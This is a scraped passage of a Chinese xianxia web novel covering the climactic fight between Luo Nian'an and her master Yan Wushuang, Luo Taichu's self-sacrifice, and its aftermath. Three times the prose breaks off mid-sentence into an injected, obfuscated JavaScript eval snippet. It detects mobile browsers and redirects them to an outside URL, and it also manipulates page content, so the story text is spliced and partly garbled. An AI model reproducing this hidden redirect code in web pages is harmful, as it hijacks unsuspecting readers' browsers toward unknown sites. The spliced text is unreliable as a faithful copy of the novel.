“易桉……”洛念安无意识唤着这个名字，忽然一愣，“……忆……安？” “你看你，珈洛，”颜无双站起身道，“真是没见过你这么不开窍的，是我当初没教你吗？” 洛念安喘着气，心中乱成一团麻，倏而，有一根线从乱麻中解出，随之而来的是剧烈的心痛：“他……他很早便……离开人世了？” 鬼的本相应是生前的模样，如此说，洛太初他…… “是啊，”颜无双满不在乎道，“是我杀的。” 洛念安如遭雷击，她不可置信道：“为何？他那时只是个孩子！” “为何？”颜无双支着手臂，手指轻抚自己的面颊，露出一副若有所思的样子，片刻后，她轻笑道，“为了让你痛苦啊。我将他带到了一个不见天日的地方，那里很黑很黑～你不用这样看着我，珈洛，我也没做什么嘛，只是……关了他三年，折磨了他三年而已，哈哈哈哈哈哈哈……你知道吗？珈洛，你真的养了一条很忠实的狗。他到死都不愿意背叛你，真的，真的有趣极了！” “……”指节咔咔作响，洛念安不管不顾举枪冲上，狠声道：“你不准这样说他！” 一道金光从颜无双身后冲出，洛念安心神极乱，一时不察，被其一招击回原地。 颜无双轻飘飘道：“你不要这样生气，珈洛。” 洛念安从地上起身，恶狠狠盯着她，眼神似要将其撕碎。 颜无双勾唇道：“珈洛，他所遭遇的一切都是因为遇见了你。错的是你啊，不是我。” “……”洛念安呼吸一顿，眼中闪过一丝茫然。 这时，大殿忽然剧烈震动一下，将身侧的灯架震倒一排。 颜无双的视线落在落倒的那排灯架上，轻声笑道：“你看，他急了。” “珈洛，你不知道吧？他死后啊，魂魄曾回去找过你。你看，他就算魂飞魄散也要回到你身边，多感人呐。后来啊，我便如他所愿，真的让他魂飞魄散了，哈哈哈……没想到他竟然聚齐魂魄又修炼成鬼回来找你。不过你放心，有我在，他是找不到你的。没想到这小子竟有如此毅力，五百年从未放弃，你说他是不是疯了？嗯？哈哈哈哈哈……和我一样都是疯子！我太感动了，感动到竟然没有彻底灭了他！这是我做过最愚蠢的决定！” “姐姐没有听说过吗？人死后，魂魄会回到所念之人身边。” 洛念安怔愣在原地，记忆的浪潮褪去，让久远的，淹没在回忆长河中的岛屿显现。 洛太初无故失踪后，洛念安一直在玉兰村附近寻他，总担心她离开后，若有一日他回来了，找不到她。 她清楚地记得，那是洛太初离开后的第四年。洛念安一边找他，一边斗着沿途路上遇到的妖鬼精怪，还要时不时应付笑面人的骚扰，身心俱疲。这一日，她赶跑一只山野精怪后，大喝了几口河水，然后便倚在河边的树下休息。 意识消散间，洛念安似乎听见有人在她耳侧唤她，她缓缓睁眼，转动眼眸四下望去，瞥见身侧飘着一团小小的鬼火，左右这玩意儿对她也没什么影响，加之她实在是累极了，便不欲去管，阖目睡去。 待她睡醒，天色已暗，那鬼火仍旧飘在她身侧，亮着微弱的光，似在等她。 见她醒来，那鬼火颇有些欣喜若狂：“这位姐姐，你醒啦？” 洛念安的视线落在它身上，这样的小鬼火，她几日便能遇见一个，故而也未多想，听他说话，她回道：“你在等我吗？” “是啊。”鬼火的语气依旧带着雀跃。 他应是刚离开人世没多久，洛念安也搞不懂他这份欣喜是从何而来，只是道：“你迷路了吗？我可以送你入忘川河。” 这样的小鬼火遇到的多了，洛念安连超度法事都学会了，虽是皮毛，但送走他们还是不成问题。 鬼火却道：“我不想去忘川河。” “不想去？”洛念安诧异抬眉，听声音，此人离世之时年纪应不算大，以为他不懂，便温声道，“不入忘川河，便无法转世投胎的。” 鬼火问道：“转世投胎？我还能重新活过来吗？” “也不算是，”洛念安看着他道，“前世记忆归入忘川河，再来一世，是你，也不是你。” 鬼火似乎沉思了片刻，问道：“我会忘记前世所有的记忆？” 洛念安点头：“对啊。” 鬼火立即道：“那我不要转世投胎。” 洛念安再次抬眉：“你前世有难以放下的人和事吗？” 鬼火答：“是的。” 洛念安劝慰他：“人死灯灭，前世种种皆为过眼云烟。” 鬼火道：“不是的。” “......”洛念安问道：“你离世几日了？” “三日。”鬼火答。 洛念安道：“在人间待满七日，你便会魂飞魄散，彻底消失。” 鬼火回得很快：“知道了。” 洛念安诧异看向他：“你不害怕吗？” 鬼火道：“不害怕。于我而言，忘记她与魂飞魄散并无两样。” “她？”洛念安难掩好奇，“是你的亲人吗？” “是的，”鬼火答，“她是我在这世上最亲之人，最最重要之人。” 洛念安闻言，轻笑一声道：“说不准来世，你们会再续前缘。” 鬼火沉吟片刻，道：“不会了，我不会再有这样的好运气遇见她了。” 洛念安当真从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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洛念安气极反笑：“你才说他乃飞升命格，若不是你，我不会下界，也不会在人界遇见他，如此，待他飞升成仙成神，来了神界，我与他总会相遇。” “不不不，”颜无双竖起一根手气缓缓摆动着，“你还是不懂。苦难成就了我，也成就了你，珈洛。” 洛念安握紧长枪：“何必赞颂苦难，苦难即是苦难，只会令人非死即疯，就像你。” 颜无双似乎真的听进去了这句话，她坐在位子上，眼眸轻转，片刻后，笑出了声：“有理。珈洛啊，我这一生若然无味，倒是养出了一个你。没关系，你我本是一体。” 她说着，眼神落在洛念安身上，却不曾从她的神情中看出半分慌乱和茫然，只有坚定。 洛念安举起长枪：“无论我是谁，无论我是何身份，与你有无关系，都不重要，就算你我本是一体，今日你也必须死。” 颜无双面上的笑容褪去，冷声道：“珈洛，你总是这样惹我生气。当初，我费心费神栽培你，你我才是一路人，你若同我一起，我可以将所拥有的一切都可以给你。可惜，你总是抓不住机会，珈洛。” 洛念安忍无可忍：“不要这样唤我！” 颜无双重新扬起笑容：“为何不？你的神号是我为你所起。” 洛念安喘着气，仰头将药丸送入口中。很快，蜡烛燃烧的滋啦声被隔绝在外，世界仿若归于寂静。 79. 天命既定不问天命 两道金光相撞，照亮了整座大殿。光亮中，洛念安看见颜无双的嘴角翘起，似开口说了什么，好在自己一个字都听不见。 她憋着一股气，招招攻向要害之处，势要取了女魔头的性命。只是，颜无双所教之攻势早已深深印在脑中，龙吟在手，她就算有心变换招势，一时半刻，也是徒劳。 故而，颜无双的面上一直挂着不咸不淡的微笑，接招游刃有余。那杆金色长枪在她手中挥动，划出绚丽的光影。 若非对手是自己，洛念安当真要鼓掌称赞。 金枪突刺，洛念安横枪一扫，颜无双紧接着直劈而下，她举枪去接，却被一股强大的法力击退数步，横枪拦在石柱之上，才没有被打下高台。 大殿忽然又是一阵剧烈的震动。 颜无双的视线从洛念安身上移开，侧目看向再次倒在地上的烛台。那烛火在地上连成一片，却久未熄灭。 洛念安喘着气，视线也被吸引了过去。她注意到颜无双面上的笑容瞬间淡去，这大抵意味着，洛太初要破阵了。 希冀的火苗燃起。 洛念安的视线再次落在颜无双身上，她依旧盯着倒地的烛台，却是缓缓抬起了右手。 洛念安心道不好，将龙吟掷出，刺向她的右手。 颜无双似回神过来，闪身避开。 洛念安脚尖轻点飞身而起，龙吟在颜无双身后绕了一圈，再次落在她的手中。她借势横枪扫出，枪身发出的金光比方才更胜。 颜无双的眸光落在龙吟上，嘴角忽地勾起一抹意味不明的笑意。金枪在她身后转了几个圆圈，转至身前挡下那道攻势，却被击退几步。她的唇角愈发上扬，噙着嗜血的笑意。 洛念安一招接着一招，丝毫不给颜无双留下喘息的机会。而颜无双似乎应对不及，接连往后褪去，眼看着要抵上身后的石壁。又一招击出，洛念安猛地发现，龙吟枪身的金光弱下去了。 就在这时，方才看似处于下风的颜无双的枪身忽然爆出一道耀眼的金光，枪尖一扫，尽管洛念安躲闪及时，却还是被凌厉的枪锋划破小臂，鲜血顿时渗出，浸染了发白的布料。局势瞬间扭转，颜无双开始反击，招势更快更猛。 洛念安总算明白她方才那抹笑意是何意。 她在等自己的法力枯竭。 她们交战，劣势是太过了解彼此，优势同样是太过了解彼此。 就算洛念安短暂分神，也同样能凭借本能挡下颜无双的招势。只是，颜无双的修为远比她更强，在她的主场，法力几乎取之不尽用之不竭。 洛念安不一样，她的法力一向是用一点就少一点，这下，是真的要到穷途末路了。 洛念安边挡，边被颜无双强劲的法力逼得后退，剑气不知在她身上划开了多少道血口，她欲还手，枪身却被一道法力波震得弹起，握枪的手连着手臂都被震得酸麻不堪，伤口处的血涌得更多，一滴接一滴落在地上，随着她的后退，连成一条刺眼的血迹。 洛念安手麻的几乎连枪都握不住，颜无双显然也没有给她留任何喘息的机会，长□□来，洛念安侧身闪过，枪身微顿，用力横扫，正正击中她的腹部，一击便飞了出去。 洛念安撞向石柱，又跌倒在地，血腥味在口中弥漫开，她撑起身子，吐了一口血出来，却好似怎么也吐不干净，连成丝，吊在唇边。龙吟脱手，倒在一侧，洛念安往前爬行几步，捡起龙吟，撑着它，站起身。 她将将站定，颜无双一闪便靠了过来，又是一击，洛念安反身举枪格挡，法力如干涸的泉水，微乎其微，自是难以抵挡颜无双全力以赴的攻势。这一招堪堪挡下，下一招击中脊背，再次将她拍向石柱，震得她五脏六腑几欲破碎。洛念安咬紧牙关，她不知自己有没有痛呼出声，她听不见。 剧痛之下思绪稍稍分明，洛念安半眯着眸，似看见颜无双立在不远处，手中转动着长枪，看着她，冲她笑。 她不用想，便知那是怎么样的笑。 洛念安撑着石柱离开，抬手胡乱擦了一把口中流出的血液，她紧紧盯着颜无双，那笑容刺目。下一瞬，洛念安只觉浑身血液沸腾，如同烈火燃烧，而现下正燃烧的是她的神魂。龙吟枪身的金光陡然增亮，颜无双面上的笑容似乎凝固了一瞬。洛念安双手握紧龙吟，再次飞身而起，咬牙道：“明明是你将我害至如此境地，我活不了，你也必须死！！” 龙吟似燃着烈火，颜无双举枪格挡，却被一寸寸压下，剑锋堪堪从她面前划过。洛念安手腕一转，横扫一枪，枪尖从她腹部划过，血液飞溅。洛念安飞身上来，一脚蹬上金枪，将颜无双踹至另一侧石柱之上。她趁势而上，欲一□□穿其心脏，却被颜无双挥枪挡过。这一击，她大抵用了十成的功力，龙吟脱手离去，枪身直击而来，洛念安向后飞出，撞向身后的石柱。 石柱登时四分五裂，洛念安穿过石柱，直直摔下高台。 “哐当”一声，好像有什么东西掉了出来。 身下的血流成一片。 法力枯竭，四肢百骸都似撕裂一般，痛的人神志不清。 她大抵要死去了。 可是，还有未完结之事。 还有想见之人。 “安儿？” 谁？ 谁在说话？ 洛念安不知身在何处，目光所及皆是苍白。她茫然四顾，尝试出声道：“谁在唤我？” 还能发出声音。洛念安懵然一瞬，眼前忽然浮现一缕金光，金光化出一个模糊的轮廓，却在白茫之中分外显眼。 洛念安稍稍后退一步，发现身上并无痛意，纳闷间，她猛地辨出了眼前轮廓之人。她睁大双眸，里面盛满不可置信，片刻，她颤声唤道：“……父君？” 洛君逸弯眼笑了笑，眉眼间满是慈爱：“吾儿，为父竟真的见到了你。” “父君！”泪水随着呼唤声落下，洛念安往前迈出两步，想要伸手抓住他，却如何都抓不到，她不知所措地仰起头，“父君？您……” 洛君逸垂眸凝望着她，眼中似充满哀伤：“安儿，为父与女魔一战身殒神灭，尚留这一丝神识于躯壳之中，百年来被女魔所压，不得而出。你，可是与她一战？” 洛念安涌出的泪水更多，面对父亲，她满腔委屈道：“父君，女儿没用，女儿打不过她，救不了您与母后，也救不了三界。” 洛君逸好似抬手抚上了她的头顶，她是如此期盼，却感知不到。洛君逸轻叹一声，道：“是为父无用，将这样的重担都压在你一人身上。吾儿，你一定吃了许多苦吧？” 悲伤如河流奔涌。洛念安死死咬紧牙关，才让自己没有大哭出声，她抬手抹了一把面颊上的泪水，摇头道：“没有，没有吃苦，女儿……过得一直很好，也不怕重担。父君，这些都是女儿应该做的。只是……只是……女儿很想念您，也很想念母后……”她说着，双膝跪地，对着洛君逸重重磕了三个响头。 她清楚地知道，洛君逸的神识能出现在她面前，要不了多久便会彻底消散。今日一见，是他们父女之间的初见，也是永别。 洛君逸蹲下身子，慈祥地望着她，那慈祥中又满是悲痛，“吾儿，为父能感知到，你正身处绝境。只是三界生死存亡之际，唯有你能扭转乾坤。” 洛念安懵然抬眸，犹豫道：“可是我真的……无法战胜她。” “不要妄自菲薄，”洛君逸道，“开天辟地之初，诞生母神，母神造万物生灵，才有三界。安儿，吾族自古代代单传，天道令你诞生，自有定数。” “……”洛念安尚懵然之间，眼前的轮廓忽然又化作一缕金光，飘向自己。 “父君？”洛念安心下大骇，跪直身子四下张望，“父君？父君？！” 然而周遭除了苍白，尽是苍白。再无人出现，更无人应她。 “求珈洛公主庇佑。” 耳畔的女声将洛念安唤醒，她猛地睁眼，恍惚间，身上的伤痛似莫名减轻许多。 “珈洛公主救救我们。” “珈洛公主，求求你，救救我们吧。” 渐渐的，耳边的女声愈来愈多，其中还夹杂着几道男声。 “无所不能的神啊！请庇佑我们吧！” 一瞬之间，男女老少，各种各样的祈祷声充斥耳畔，似浪潮奔涌不息，无边无际。 信徒？ 她如何会有这样多的信徒？ “念将军！”柳渊的声音压过一种祈祷声传来，他万般亢奋道，“念将军！你听到了吗？我可是几百年来只显灵了这一回啊！你神位前的香火都快把我们的神庙都点着了！撑住啊！我们马上就赶到！这无量狱怎么搞成这个鬼样子……” “师父！”他话音未落，赫连昭的声音随后传来，他就没有那般亢奋了，“再撑一会儿，我们马上就到。” 洛念安的视线落在身侧的断魂剑上，她稍稍动了动手指，瞬息间，体内灵力汹涌，传至百骸。她伸出手臂，握上断魂剑柄，一手支剑，一手撑地，咬紧牙关从地上爬了起来。 “哟，”颜无双在身后凉飕飕道，“还能起来呢？” 洛念安转身，抬眸看向高台之上。 颜无双勾唇，眉头微挑，语气嘲讽：“能听见了？人啊，都是贱胚子。你看，打一顿就老实多了。”她的视线落在洛念安身上，半晌，语气不明道，“自爆神魂？珈洛，你真不怕死吗？” 洛念安将口中的血液吐干净，抬手毫不在意地擦拭一把，血渍将她的双唇染的猩红，她轻笑一声，道：“你错了，救三界从来都不是我一人之事。” 颜无双看着她，露出满意的神色：“你看，珈洛，如今你我多像啊。一模一样的容貌，几乎相像的过往，哈哈哈哈哈……你我才是一路人，珈洛。” 洛念安垂眼冷笑，复又抬眼看她：“容貌经历相同而心性不同。吾乃天神族后裔，汝岂能与吾相提并论？” 颜无双面上的笑容淡去，她抬手，红甲轻轻点了点嘴唇，冷然道：“我时常反思，到底是哪一步出了错，将你培养成如今这般模样。” “步步皆是错！”洛念安手腕一转，提剑而上。 她不常用剑，正儿八经接触剑还是在人界教授赫连昭之时，那时她边教边翻阅相关书籍，现学现卖。在遇见颜无双之前，她也没有正经地习过武，在神界只有启灵真君教过她，但他是文职上神，洛念安那一点点武学造诣还是自己在藏书阁翻书自己学的。 断魂在她手上，竟意外地顺手。 剑柄通体发着银光，与金光相交，迸发出更耀眼的光芒。 颜无双腹部被龙吟划破的伤口早已愈合，而断魂在她身上留下的伤口冒着黑气，看样子是一时半会愈合不了了。 如今形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金属相击，火花四溅。洛念安凑近那张与自己几乎一模一样的脸，挤出一抹微笑：“师父，遇见你之后，我曾一人度过了很长一段时光。五百年前我是胜不了你，但，时移世易。” 颜无双也笑，露出森森白牙：“好徒儿，不愧是我教出来的。” 洛念安撞入她的眼睛，低声道：“这世上，当真没有你所在意的人和物了吗？” 颜无双只望她，不答。 洛念安道：“锦和呢？” 话落，她似从颜无双的眸中看到一丝异样的情绪，然而转瞬即逝。她哼笑一声：“他是很爱我，但我从来都不靠爱意活着。我每日汲取世人的痛苦、憎恶，我受够了，我恨透了这个荒诞无垠的世界。他能陪我一起去死，不好吗？珈洛，死亡，何尝不是另一种永生呢？” 洛念安沉默半晌，沉声道：“你这句话才是真的荒诞无垠。” 说话间，洛念安阵法已成，将颜无双禁锢在石柱前的方寸之间。 颜无双侧目瞥了一眼周身冒着金光的阵法，轻笑道：“好徒儿，倒是与为师玩上攻心计了。” 洛念安道：“这不是师父惯用的技俩吗？” “铿”的一声，洛念安闪身后退，颜无双欲向前追击，却被阵法禁锢动弹不得。她抬手施法，意图破阵。洛念安怎会给她这样的机会，再次飞身上前，攻势更快更猛，如大雨倾盆，断魂似乎比其他宝剑更加好用，在她手中如鱼得水。 颜无双在逼仄的空间内回档反击，十分碍手碍脚，枪身前刺，洛念安便闪身退至屠龙够不到的地方，转而向侧面进攻。 断魂剑刺向其腰腹，颜无双转枪抵挡，金光爆出，让洛念安后退数步。 屠龙枪尖插至地面，颜无双抬手一劈，电光火石之间就将阵法劈的四分五裂。 就是这个关头，洛念安划破金光迎面袭来，断魂剑瞬间刺入其腹部，她手握剑柄，手腕转动，利剑在颜无双腹中搅动。洛念安无半分迟疑，利落拔剑，下一剑，正正刺入其胸腔。 鲜红的血液，从颜无双口中溢出。她睁大双眸，一瞬不瞬地看着面前之人。 洛念安双目猩红，咬牙别开视线，断魂拔出，再一剑，刺入心脏。 颜无双无声无息地，直挺挺，倒在地上，溅起血渍，还有陈年的灰尘。 洛念安松了手，手指颤动，好半晌，她才侧目望向倒在地上的颜无双。她还是维持着五百年前教导洛念安时的模样，只是鲜红染了她半张面庞，她瞪着眼，依旧是一瞬不瞬地看着洛念安。 她的眼中已没有情绪。 断魂尚插在她的胸腔中，剑身也被血迹所染。 泪水滑过，夹杂着有些干涸的血，一颗颗滴落。 洛念安望着这张本该慈眉善目的面容，双膝弯曲，跪在地上。她颤着唇，轻声唤道：“师父......” 话音未落，眼前之人的容貌却渐渐发生了变化，竟变得与洛念安有六分相似。 这似乎，才是她本来的模样。 她从未提，洛念安却从卷轴中得知，她本名原不为“无双”，“无双”此名是她救下锦和，逆天改命之后，自己为自己所取。 后来，她真的人如其名，举世无双。 “我太累了......”这是颜无双阖目之前所说。 她还说了一句： “我不甘心。” 80. 没想好标题 洛念安看着彻底陷入沉睡之中的躯体，神情恍惚。她总觉自己仿若犯了一个巨大的错误，从她出生开始就在为此遭受刑罚，这一刻，终于刑满释放了。 大殿忽地一阵剧烈晃动，将剩下的烛台震倒在地。 “姐姐！” 洛太初的声音传至大殿的每一处角落，引得阵阵回响。 洛念安木然转眸，见到修长的身影立在高台之下，迈开长腿，三步并作两步奔向自己。她跪在原地，怔愣片刻，忽然手脚并用从地面爬起身子，不顾双腿麻木，跌跌撞撞地拾阶而下。 两人隔着三级台阶停下，两两相望。 洛太初往前迈出两步，双目猩红，看向她的眸子满是厚重的，抹不开的心疼。他张开双臂，却似乎顾忌些什么，动作一顿，又曲臂，轻柔地将洛念安揽入怀中，沉着声道：“我他妈真是废物。” 洛念安一怔，赶忙道：“不是的不是的，你很厉害的，我这不是好好的嘛，一点事都没有。” 洛太初轻叹一声，垂着首，下巴轻轻搁置在洛念安的右肩上。 沉默围着两人转圈，好半晌，洛念安才颤着声开口：“是你啊。” 洛太初沉吟片刻，轻声道：“一直是我。” 洛念安轻轻挣脱他的怀抱，抬眼细细望着他，眼眶中早已盛不下溢满的泪水。洛太初也垂眸迎着她的视线，下一刻，他们同时抬手抚上对方的面颊。 洛念安又哭又笑，紧蹙着眉：“真是男大十八变，竟变得我都认不出了。” 洛太初没有言语，手指轻轻拂去她面颊上滚烫的眼泪，伸手再欲将其揽入怀中。 方才没来得及，这下洛念安抬手抵住他的胸膛，提醒道：“我身上很脏。” 原本一袭干净的素衣，此刻满是血污。 洛太初动作未停，她话音才落，人已经被拥抱入怀。 熟悉的玉兰花香再次扑面而来。 洛念安幡然醒悟，喃喃自语道：“原来如此。”往事计上心头，泪水决堤，“是我的错，让你为人时过了那么长一段苦日子，更让你就连……就连死后也不得安息。” 洛太初怀抱得更紧，叹息道：“我就知，你会如此。” 洛念安微微一怔，思绪一下被飘至挂着圆月的崖边，那日他曾说过一模一样的话。半晌，她讷讷问道：“若是我，我一直认不出你该如何？” 洛太初柔声道：“没关系，我只是想一直陪在姐姐身边。” 洛念安伸手，覆上洛太初的脊背，缓缓收紧。不消片刻，右肩忽然一轻，洛太初抬起了头。于此同时，洛念安也察觉到了身后不同寻常的气息。 是鬼气。 “稍等一下，”洛念安微微蹙眉，“似乎不太对劲。” 她说着，回首向高台上看去，猝然一愣。那具火红的尸体不断冒出缕缕黑气，场景甚是骇人。 洛念安迅速反应过来：“颜无双怨念极深，肉身成魔，身死成鬼。魂魄留在世间早晚再成祸害。小......”她顿了顿，继续道，“小初，你可知除了镇压之法还有何法子能彻底灭其魂魄？” 洛太初似乎怔了怔，须臾，唇角微微上扬。他转眸看向洛念安，轻声道：“让她的三魂七魄碎成粉末便是。” 听他这么说，洛念安便知其定是胸有成竹，顿时放下心来。 洛太初忽然又将她揽入怀中，似想用力，却始终轻柔。好半晌，他附在洛念安耳边轻声道：“交给我。” 他说着，抱了一会儿，才缓缓松手，向后退了一步。长臂一伸，断魂从那具躯体上离开，剑柄落入手中。洛太初施法净了剑刃，那柄银剑再次光洁如新。 “姐姐，”他将断魂放入洛念安手中，“收好。” 洛念安虽不明所以，但还是仔细收下。 洛太初的视线似粘在她身上了一般，好半晌，才迈步往高台上走去，同时，龙吟枪身震动，下一刻便飞至他的手中。 洛念安侧身，目送着他的身影，见到龙吟落在他手中，微微一怔，又垂眸看了一眼自己手中的断魂。 只这一会儿功夫，颜无双的魂魄已经化出了身形。想来这么多年的香火供奉与圣物使其修为更上一层楼，就算身死，魂魄也能这样短的时间内化为厉鬼。 “可惜了，”颜无双的声音传来，“我等了这么久才塑好的肉身。” 洛太初可不会同她废话，他的视线在她那张脸上停留片刻，便转动长枪袭了上去。 银光与金光相撞，洛念安抬手，遮住了袭来的强光。强光过去，她观察着洛太初的招势，不禁暗暗赞叹。 印象里，洛念安似乎是教过洛太初习武的。那时候并没有人教她，初到人界，平日里没事便回忆着在卷轴上所看到的内容瞎练练。每每这时，洛太初便会跟在她身后，学着她的姿势跟着练。后来，她便拿着跟树枝教他，那时武学主流为剑道，她所看书籍也教授着剑法，便以树枝代剑，像模像样教了几招。不过她自己所学也就八两，故而那时洛太初顶多学了半斤。当然如今洛太初这样厉害多半与自己没什么关系，他现在的剑法炉火纯青，定是后来不断精进的成果。主要她当初到底都教了些什么，自己也忘得一干二净了。 洛太初的枪法应也是后来自己所学，却莫名其妙有几分自己的影子。洛念安蹙着眉，一边目不转睛地观察着，一边陷入沉思。好半晌才恍然大悟，他的枪法多半是从自己身上得到启蒙，只是融入了些自己的想法。 洛念安更加吃惊了，她虽知洛太初聪颖，一点便通，那时教他什么都学的很快。但没想到他在武学方面的天赋竟如此之高。洛念安垂下眼眸，耳边响起颜无双的话语。 若没有那么多意外，他或许真的会飞升成神。 “哈哈哈哈......”颜无双的声音忽然响彻大殿，“太阴仙，你竟然要与我同归于尽？” 她语气如常，说出来的话却让洛念安如遭雷击。她抬眼，却见高台之上耀眼的银光将四下逃窜的黑气团团围住。洛念安心中顿时慌乱不已，下一刻便闪身至高台上，却被那银光震得后退几步，靠近不得。 “小初？”洛念安急得大喊，光芒刺眼，她已经看不见里面两人的情况，“洛太初？！” 她想进去，却怕贸然闯入会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132995|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤害到洛太初。 银光之内，颜无双淡声问道：“这一招叫什么？” 洛太初终于应了她一句话：“祭魂术。” 颜无双轻笑一声：“留着你还真成了祸患。关了你三年而已，恨我到不惜与我同归于尽？” “若只是我，尚不至于。对你的恨意并不足以支撑我走到今日。”洛太初冷然道，“但你必须，死得彻底。” 颜无双静默片刻，忽地扬声大笑道：“罢了，他死了，你就会更加痛苦，对吧，珈洛？” 洛念安闻言，一颗心彻底沉入谷底，再犹豫不得，欲强行闯入。 下一刻，面前的银光忽然爆裂开来，炸成一粒粒，耀眼的碎片。飘飘然，如漫天银雪纷飞。 这大抵是一场令人叹为观止的壮景。 洛念安却根本无心欣赏，目光所及之处，洛太初拨开银雪，穿梭而来。她尚未来得及开口，便被人捧住面颊，封住了双唇。 洛念安猝然睁眸，须臾，又缓缓阖上眸子。 心跳声如雷贯耳，以至于无法听见不远处的脚步声。 柳渊几人匆匆赶来，先是被殿内之景所震撼，待看清高台上的情形，又纷纷不约而同止住脚步。 叶蓉睁大眼睛，随即疯狂扬起唇角，惊叹道：“老天爷，过年了？！” 其余两人没吱声。 启灵迈着碎步跨进殿门，见有神在，松了口气。气还没松下去，视线飘至高台上，差点左脚拌右脚摔在地上。 “这是什么情况？！”启灵稳住身子，转而看向身旁的叶蓉，视线一顿，仔细瞧了瞧，问道，“你是鬼啊？” 叶蓉侧目看了他一眼，点头道：“是啊。” “你好你好。”启灵也跟着点头，又问道，“所以他们俩是何种情况？他们不是好友吗？为何会亲到一起？” “好友？”叶蓉捏着下巴沉思片刻，露牙笑道，“没错，正是可以亲在一起的好友。” 赫连昭满面黑线，半晌，神情忽然一滞，他道：“先别说其他的，你们没发现，太阴仙他……似乎维持不住身形了？” 柳渊也是一凝，面目严肃，犹疑道：“他的魂魄是……正在消散吗？” 叶蓉一下变了脸色，她比在场的任何人都清楚，魂魄消散对于鬼而言意味着什么。 声音传入洛念安耳中，她猛然睁眼，万般惊恐地发现，洛太初的身体似乎变得有些透明了。 唇齿分离，洛太初也缓缓睁眼。 他吻得用力，洛念安动了动有些麻木的双唇，颤着声唤道：“小初？” 洛太初闻声，微微一笑：“我在。” 洛念安呼吸都不太顺畅了：“你......” “姐姐，”洛太初轻声道，“我可能需要坐着歇一歇。” “好......好好。”洛念安慌忙找寻着干净的地方，尚未找到，面前之人却忽然原地坐了下去。洛念安一愣，紧接着跟着跪坐在地上。她万般期许地看着他，颤着声音问道，“歇一下，歇一下就好了对吧？” 洛太初眸光深邃，凝望着她，却并未应这句话。 81. 尘埃落定往事依稀 有一滴晶莹飘在半空，洛念安懵然伸手，那滴滚烫落在了自己手心。烫得她忽然一惊，又万分痛苦地蜷着身子，体内似有波涛汹涌，下一刻，爆裂开来。 “师父！” “念将军！” 赫连昭与柳渊同时开口。 启灵急得往前奔出几步，大声道：“殿下，不可自爆神魂！” 赫连昭与柳渊落在洛念安身边，正欲施法护住她，她却已经停止这种自杀式行为，直起身子，嗓音沙哑道：“锁魂囊。” 二人对望一眼，纷纷在自己身上摸来摸去。 “我有我有！”启灵在后面哼哧哼哧爬着台阶，边爬边在乾坤袋里翻找，好不容易爬到，锁魂袋也递了出去。 “多谢。”洛念安看起来十分平静，她伸手接过锁魂囊，将自己方才捉到的一片破碎的残魂，小心翼翼送了进去。 将东西小心翼翼放入自己的袖中，洛念安拒绝了赫连昭的搀扶，伸手将断魂捞入怀中，然后从地上缓缓爬起身。 她起身后才发现锦和的尸体，与颜无双躺在一起。 “......”洛念安的视线落在他们身上，静默半晌，问道：“他何时来的？” 柳渊的视线也移了过去，出声道：“就在方才，看见颜无双的尸体后，一点没犹豫，割喉自尽了。” “......”洛念安望着他们，久久未移开眼。 柳渊看向她，半晌，虽于心不忍，但还是道：“殿下，神界还要靠你主持大局。” 洛念安眼眸微动，回过神，缓缓点头。她扭过头，背对着众人，泪水却落在原地。她抬手，拭去面上的泪水，迈步走到上前去，弯腰将屠龙枪拾了起来。 她站直身子，再次看向地上的两具尸体，周遭血色翻涌，十分刺目。须臾，她转身往台下走去，路过赫连昭时，开口道：“葬了吧。” 赫连昭握着龙吟，闻言应声：“是。” 洛念安一路向前，路过叶蓉时，见她红着眼眶，一副欲言又止的样子，率先开口道：“走吧。” 叶蓉抿了抿唇，点点头。 洛念安的视线又落在她面颊上尚在流血的伤口上，轻声道：“辛苦了。神界有上好的灵药，待会随我去拿吧，脸上留疤就不好看了。” 叶蓉眼中的泪水一下便涌了出来，她胡乱点头，然后快速背过身去，生怕惹得洛念安更加伤心。 洛念安也怕，自己实在无力安慰她，只能逃也似地跨出殿门。 赫连昭和启灵跟在她身后。 柳渊比较擅长安慰女孩子，便自觉负责起了此事。 无量狱内的岩浆退去，葱郁绿意又重新覆盖这片土地，仿若此处一直如此，惬意祥和。 洛念安抬眼看天，那处的裂缝早已闭合，只是阵法仍在，被一团黑色的乌云遮挡着。 赫连昭在她身侧解释道：“起先裂缝内有岩浆涌出，被阵法封着，好在那道缝隙闭合的快，否则阵法绝对是撑不了多久的。柳渊通知了四海海神前来，正合力处理着那些岩浆。” 洛念安点头，回首见叶蓉他们跟了上来，便抬手一挥，身前的虚无顿时撕开一道裂缝。 其余几人皆是一惊，面面相觑。 洛念安抬步迈了进去，半晌，他们才回神过来跟了进去。 再现身，便是无量狱外。周遭一片狼藉。大战之后，那些青红皂白的魂魄，若有似无，一点点，一片片，漂浮着，迷茫地逗留在这人间。 洛念安驻足，将断魂装入背后的麻袋，递出屠龙枪，接过龙吟。她向前迈出几步，将龙吟立在身前，神力被注入长枪之中，从尖端亮起一束耀眼的金光，直达天庭。 “吾神珈洛，今，引不归之魂，赴忘川之河。” 话落，那些青红皂白星星点点缓缓升起，汇入光束，随之一起奔赴忘川河中。 